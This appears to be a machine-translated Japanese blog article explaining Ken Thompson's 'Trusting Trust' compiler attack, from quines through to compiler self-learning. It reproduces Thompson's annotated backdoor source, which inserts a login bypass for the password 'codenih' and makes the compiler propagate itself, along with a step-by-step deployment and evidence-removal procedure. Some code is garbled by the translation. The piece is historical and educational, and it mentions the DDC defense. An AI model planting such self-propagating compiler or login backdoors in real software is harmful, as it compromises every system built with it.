1761385353
2025-10-25 07:03:00
ケン・トンプソンが UNIX での業績に対してデニス・リッチーと共同でチューリング賞を受賞したとき、彼も他のチューリング賞受賞者と同様に、ACM Computer Journal に掲載される論文を書くことが期待されていました。彼が最終的に提出したのは、「最もかわいいプログラム」についての論文でした。 [he] これは、C コンパイラ内にある、検出不可能な自己複製型の卑劣な「トロイの木馬」バックドアで、影響を受けるマシンに任意のユーザーとしてログインできるようにするものです。
目次
トンプソンは、チューリング賞受賞者がよく書くようなことについて書きたくなかった。実際、トンプソンによれば、論文を書きたくなかったという。しかし、彼が最終的に論文を書いたとき (当初の締め切りを 1 年延期した後、上のビデオの ~2:52:49 を参照)、C コンパイラ (それ自体 C で書かれたプログラム) がどのように C ソース コードを解析してマシン コードにコンパイルし、元の入力 C ソース コードを一見無修正のままにして、生成されたマシン コードに「トロイの木馬」を注入するかの準備を高レベルで説明しました。
彼は、カリフォルニア大学バークレー校に在学中、同僚たちと「[amuse themselves] プログラミング演習を課すことによって」、その 1 つは「最短の自己再現プログラムを作成する」というものでした。
より正確に言うと、問題は、コンパイルして実行すると、ソースの正確なコピーが出力として生成されるソース プログラムを作成することです。「最短」に関する部分は、スキルを実証して勝者を決定するための単なるインセンティブでした。
このセクションでは、オリジナルの準 C 疑似コードとソース コード、およびこのテーマに関する Russ Cox の記事の例を組み合わせて、Thompson が最初に提示した「トロイの木馬」について説明してみます。Cox は、2023 年に Thompson が行った講演を見た後、Thompson に実際にソース コードを送ってもらいました。
ステージ I: 自己複製プログラム
この段階では、トンプソンは自己複製プログラム (「クワイン」とも呼ばれる) について説明します。重要な洞察は、プログラムには独自のソース コードをデータとして含めることができ、それを印刷するコードと一緒に印刷できるということです。
論文からのトンプソンの例は次のとおりです。
/* Figure 1 */
char s[] = {
't',
'0',
'n',
// (213 lines deleted)
0
};
/*
* The string s is a
* representation of the body
* of this program from `0`
* to the end.
*/
main()
{
int i;
printf("charts[ ] = {n");
for (i = 0; s[i]; i++) {
printf("t%d,n", s[i]);
}
printf("%s", s);
}
ここには、後でメモしておきたい 2 つの重要なプロパティがあります。
- 「このプログラムは別のプログラムでも簡単に書くことができます。」
- 「このプログラムには、メインのアルゴリズムとともに再現される任意の量の超過手荷物を含めることができます。」
C 以外のプログラマがこのコードを読めるようにするための簡単な音訳をいくつか示します。
| オペレーター | 意味 |
|---|---|
= |
割り当て |
== |
に等しい |
!= |
等しくない |
++ |
インクリメント |
| 「×」 | 単一文字の定数 |
| 「×××」 | 複数の文字列 |
| %d | 10進数に変換する形式 |
| %s | 文字列に変換する形式 |
| t | タブ文字 |
| n | 改行文字 |
以下は、自己複製動作を示す古典的な Python quine です。
s = 's = %rnprint(s %% s)'
print(s % s)
s プレースホルダーを含むプログラムのほぼ全体である文字列を保持します。
%r、経由でフォーマットします repr()。の print(s % s) Python の古い C スタイルを使用します
%-フォーマット。
中のキャラクターに関する注意事項 s:
%rはプレースホルダーです。Python にrepr()を行う引数の%-フォーマット。nは、出力で生成される 2 つのソース行を区切る改行文字です。%%リテラルを含めることができることです%で使用される文字列内
%-フォーマット;フォーマットするとシングルになります%。
の %r 文字列内は、次の Python 文字列表現に置き換えられます。
s それ自体なので、プログラムは次のテキストを出力します。 s = ... 続いて print
ライン。の %r は、表現を自動エスケープおよび自動引用符で囲むためのキーであるため、出力される文字列は有効な Python コードになります。プログラムを実行した結果は次のとおりです。
Python 3.13.2 (main, Feb 26 2025, 14:47:35) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s = 's = %rnprint(s %% s)'
... print(s % s)
...
s = 's = %rnprint(s %% s)'
print(s % s)
ステージ II: コンパイラーは「学習」します
トンプソン氏は、C コンパイラーが文字エスケープ シーケンスを処理する方法の例を使用して、コンパイラーがどのように新しい知識を学習できるかを示しています。
C では、エスケープ シーケンスを使用して文字列リテラルを作成できます。
"Hello worldn"
コンパイラは文字コードを知る必要があります n を表します。ここが賢い部分です。コンパイラはこれを完全に移植可能な方法で学習できます。
/* Figure 2.1 - Original escape sequence handling */
c = next();
if (c == '\') {
c = next();
if (c == 'n')
c = 'n';
}
このコードはバックスラッシュのエスケープ シーケンスを処理します。どのように使われるかに注目してください 'n' 改行文字を返す – コンパイラは何を「知っている」か n これは、C 自体に組み込まれているためです。
さて、次のサポートを追加したいとします。 v (垂直タブ)。次のように書きたいと思います。
/* Figure 2.2 - Desired code with v support */
c = next();
if (c == '\') {
c = next();
if (c == 'n')
c = 'n';
if (c == 'v')
c = 'v'; // New: vertical tab
}
しかし、問題があります。現在のコンパイラはそれを理解できません。 v まだ、このソース コードはコンパイルできません。最初にコンパイラを「トレーニング」する必要があります。
解決策は、実際の文字コード (ASCII の垂直タブの場合は 11) を一時的に使用することです。
/* Figure 2.3 - Training the compiler */
c = next();
if (c == '\') {
c = next();
if (c == 'n')
c = 'n';
if (c == 'v')
c = 11; // Temporarily use the numeric code
}
このバージョンは古いコンパイラで正常にコンパイルされます。この新しいバイナリを公式の C コンパイラとしてコンパイルしてインストールすると、何を「認識」するようになります。 v
手段。その後、戻ってポータブルなコードを使用してコードを書き直すことができます。 'v' フォーム (図 2.2) を作成すると、新しいコンパイラはそれを受け入れます。
トンプソンは次のように述べています。
これは奥深い概念です。これは私が見た限りでは「学習」プログラムに近いものです。一度伝えるだけで、この自己参照定義を使用できるようになります。
この自己参照特性は、トロイの木馬がどのように機能するかを理解するための鍵となります。コンパイラは、悪意のある何かを「教え込まれる」と、ソース コードから証拠が削除された後でも、その知識を永続させることができます。
ステージ III: トロイの木馬に陥る
これで、実際のトロイの木馬のロジックに到達しました。トロイの木馬のアイデアは、C に関するトンプソンのオリジナルの研究より少なくとも数年前から存在しており、トンプソンは論文の中で、最初にそのような攻撃について読んだのは「Multics の初期実装のセキュリティに関する空軍の批判」であったと述べています。
Thompson の論文では、この概念が疑似コードで示されています。
/* Figure 3.2 - Simple Trojan horse concept */
compile(s)
char *s;
{
// Trojan horse
if (match(s, "pattern")) {
compile("bug");
return;
}
// ...
}
しかし、これが Thompson の実際の実装です。 nih.a Russ Cox による注釈付きのファイル (コードの詳細な手順については、彼の記事を参照することを強くお勧めします。また、彼の記事に従うこともお勧めします) Unixシミュレータ):
/* Declare the global variable nihflg, of implied type int. */
nihflg;
/* Define the function codenih, with implied return type int and no arguments.
The compiler will be modified to call codenih during preprocessing,
for each input line. */
codenih()
{
char *p, *s;
int i;
/* cc -p prints the preprocessor output instead of invoking the
compiler back end. To avoid discovery, do nothing when -p is used.
The implied return type of codenih is int, but early C allowed
omitting the return value. */
if (pflag)
return;
/* Skip leading tabs in the line. */
p = line;
while (*p == 't')
p++;
/* Look for the line "namep = crypt(pwbuf);" from login.c.
If not found, jump to l1. */
s = "namep = crypt(pwbuf);";
for (i = 0; i 21; i++)
if (s[i] != p[i])
goto l1;
/* Define login backdoor code s, which does:
Check for the password "codenih".
If found, modify namep and np so that the code that follows
in login.c will accept the password. */
p =+ i;
s = "for(c=0;c "if("codenih"[c]!=pwbuf[c])goto x1x;"
"while(*namep)namep++;"
"while(*np!=':')np++;x1x:";
/* With the p=+i from above, this is: strcpy(p+i, s); return;,
appending the backdoor to the line.
In early C, += was spelled =+.
The loop is strcpy, and goto l4 jumps to the end of the function. */
for (i = 0;; i++)
if (!(*p++ = s[i]))
break;
goto l4;
/* No match for login code. Next target:
the distinctive line "av[4] = "-P";" from cc.c.
If not found, jump to l2. */
l1:
s = "av[4] = "-P";";
for (i = 0; i 13; i++)
if (s[i] != p[i])
goto l2;
/* Increment nihflg to 1 to remember evidence of being in cc.c,
and return. */
nihflg++;
goto l4;
/* Next target: input reading loop in cc.c,
but only if we've seen the av[4] line too:
the text "while(getline()) {" is too generic and may be
in other programs. If not found, jump to l3. */
l2:
if (nihflg != 1)
goto l3;
s = "while(getline()) {";
for (i = 0; i 18; i++)
if (s[i] != p[i])
goto l3;
/* Append input-reading backdoor: call codenih
(this very code!) after reading each line.
Increment nihflg to 2 to move to next state. */
p =+ i;
s = "codenih();";
for (i = 0;; i++)
if (!(*p++ = s[i]))
break;
nihflg++;
goto l4;
/* Next target: flushing output in cc.c. */
l3:
if (nihflg != 2)
goto l4;
s = "fflush(obuf);";
for (i = 0; i 13; i++)
if (s[i] != p[i])
goto l4;
/* Insert end-of-file backdoor: call repronih
to reproduce this very source file (the definitions of
codenih and repronih) at the end of the now-backdoored
text of cc.c. */
p =+ i;
s = "repronih();";
for (i = 0;; i++)
if (!(*p++ = s[i]))
break;
nihflg++;
l4:;
}
このコードは次の 3 つのことを行います。
- ログイン プログラムのバックドア: コンパイル時
login.c、任意のユーザーのパスワード「codenih」を受け入れるコードを挿入します。 - 自分自身を認識する: Cコンパイラをコンパイルする場合(
cc.c)、コンパイラのソースを識別する特定のパターンを検出します。 - 自己複製する: コンパイラをコンパイルすると、両方のバックドアのコードが新しいコンパイラ バイナリに挿入されます。
最後の部分は自己複製メカニズムです。
/* Here the magic begins, as presented in the Turing lecture.
The %0 is not valid C. Instead, the script rc will replace the %
with byte values for the text of this exact file,
to be used by repronih. */
char nihstr[] {
%0
};
repronih()
{
int i, n, c;
/* If nihflg is not 3, this is not cc.c so don't do anything. */
if (nihflg != 3)
return;
/* The most cryptic part of the whole program.
Scan over nihstr (indexed by i) in five phases according to n:
n=0: emit literal text before "%"
n=1: emit octal bytes of text before "%"
n=2: emit octal bytes of "%" and rest of file
n=3: no output, looking for "%"
n=4: emit literal text after "%" */
for (i = n = 0; c = nihstr[i]; i++) {
if (n == 0 && c == '%') {
printf("{n");
n++;
continue;
}
if (n == 1 && c == '%') {
n++;
i = 0;
}
if (n == 2) {
printf("t0%o,n", c);
continue;
}
if (n == 3 && c == '%') {
printf("};n");
n++;
continue;
}
if (n > 0 && n 3)
printf("t0%o,n", c);
if (n == 0 || n >= 4)
putchar(c);
}
}
システムが「トレーニング」されると、悪意のあるロジックがソースに現れることは決してないため、ソース コードをいくらレビューしてもこの問題は見つかりません。感染は、他のバイナリを生成するバイナリの 1 つ下の層に存在します。これが Trusting Trust 問題の本質です。コンパイラー (またはビルド ツール) が侵害されると、コンパイラーがビルドするすべてのプログラムが侵害される可能性があります。たとえその情報源が純粋なものであっても。
この攻撃を実際に展開するには、トンプソン氏はコンパイラを段階的に「トレーニング」する必要がありました。
-
最初の編集: クリーンな C コンパイラを使用して、
codenih()そして
repronih()ソースに合わせて機能します。の%0プレースホルダーはヘルパー スクリプトによって展開されます (rc) をソースコード自体の実際のバイト値に変換します。 -
バックドアコンパイラをインストールする: この変更されたソースをクリーン コンパイラでコンパイルし、バックドア バイナリを作成します。これを公式の C コンパイラとしてインストールします。
-
証拠を削除する: 次に、バックドア バイナリを使用して C コンパイラを再コンパイルしますが、今回は元のクリーンなソース コード (バックドア コードなし) を使用します。バックドア付きコンパイラはコンパイラ ソースを認識し、とにかくバックドア コードを挿入して、新しいバックドア付きバイナリを作成します。
-
永続化: これ以降、バックドアはバイナリ内にのみ存在します。コンパイラーは自身をコンパイルするたびに、バックドアを挿入します。コンパイルするたびに
login.c、パスワードのバックドアを挿入します。ソースコードはクリーンなままです。
これは実際に C コンパイラで配布されたことがありますか?
トンプソンから質問者に宛てた電子メールの中で、トンプソンは次のように書いている。
From: Ken ThompsonDate: Wed, Sep 28, 2011 at 6:27 PM Subject: Re: Was compiler from "Reflections" ever built or distributed? To: Ezra Lalonde build and not distributed. On Wed, Sep 28, 2011 at 11:35 AM, Ezra Lalonde wrote: > Hi Ken, > > I've seen various sources on the internet claiming that the "trojan horse" > compiler you mentioned in your talk "Reflections on Trusting Trust" was > actually built, and some further claiming that it was distributed. > > I'd like to know if these claims are valid. > > Thanks for your time. > > Cheers, > Ezra Lalonde
したがって、少なくともトンプソンによれば、これは決して世に出ることはなかった。しかし、彼は ACM 論文の中で次のようなユーモラスな一文も残しています。
道徳は明らかです。自分で完全に作成したわけではないコードは信頼できません。 (特に私のような人を雇用している会社のコードです。)
興味のある方のために、Thompson の論文の後に追跡調査が実施され、多様な二重コンパイル (DDC) などのこの種の攻撃を防ぐ方法が示されています。
#ケントンプソンが #コンパイラにバックドアを書き込んだあの時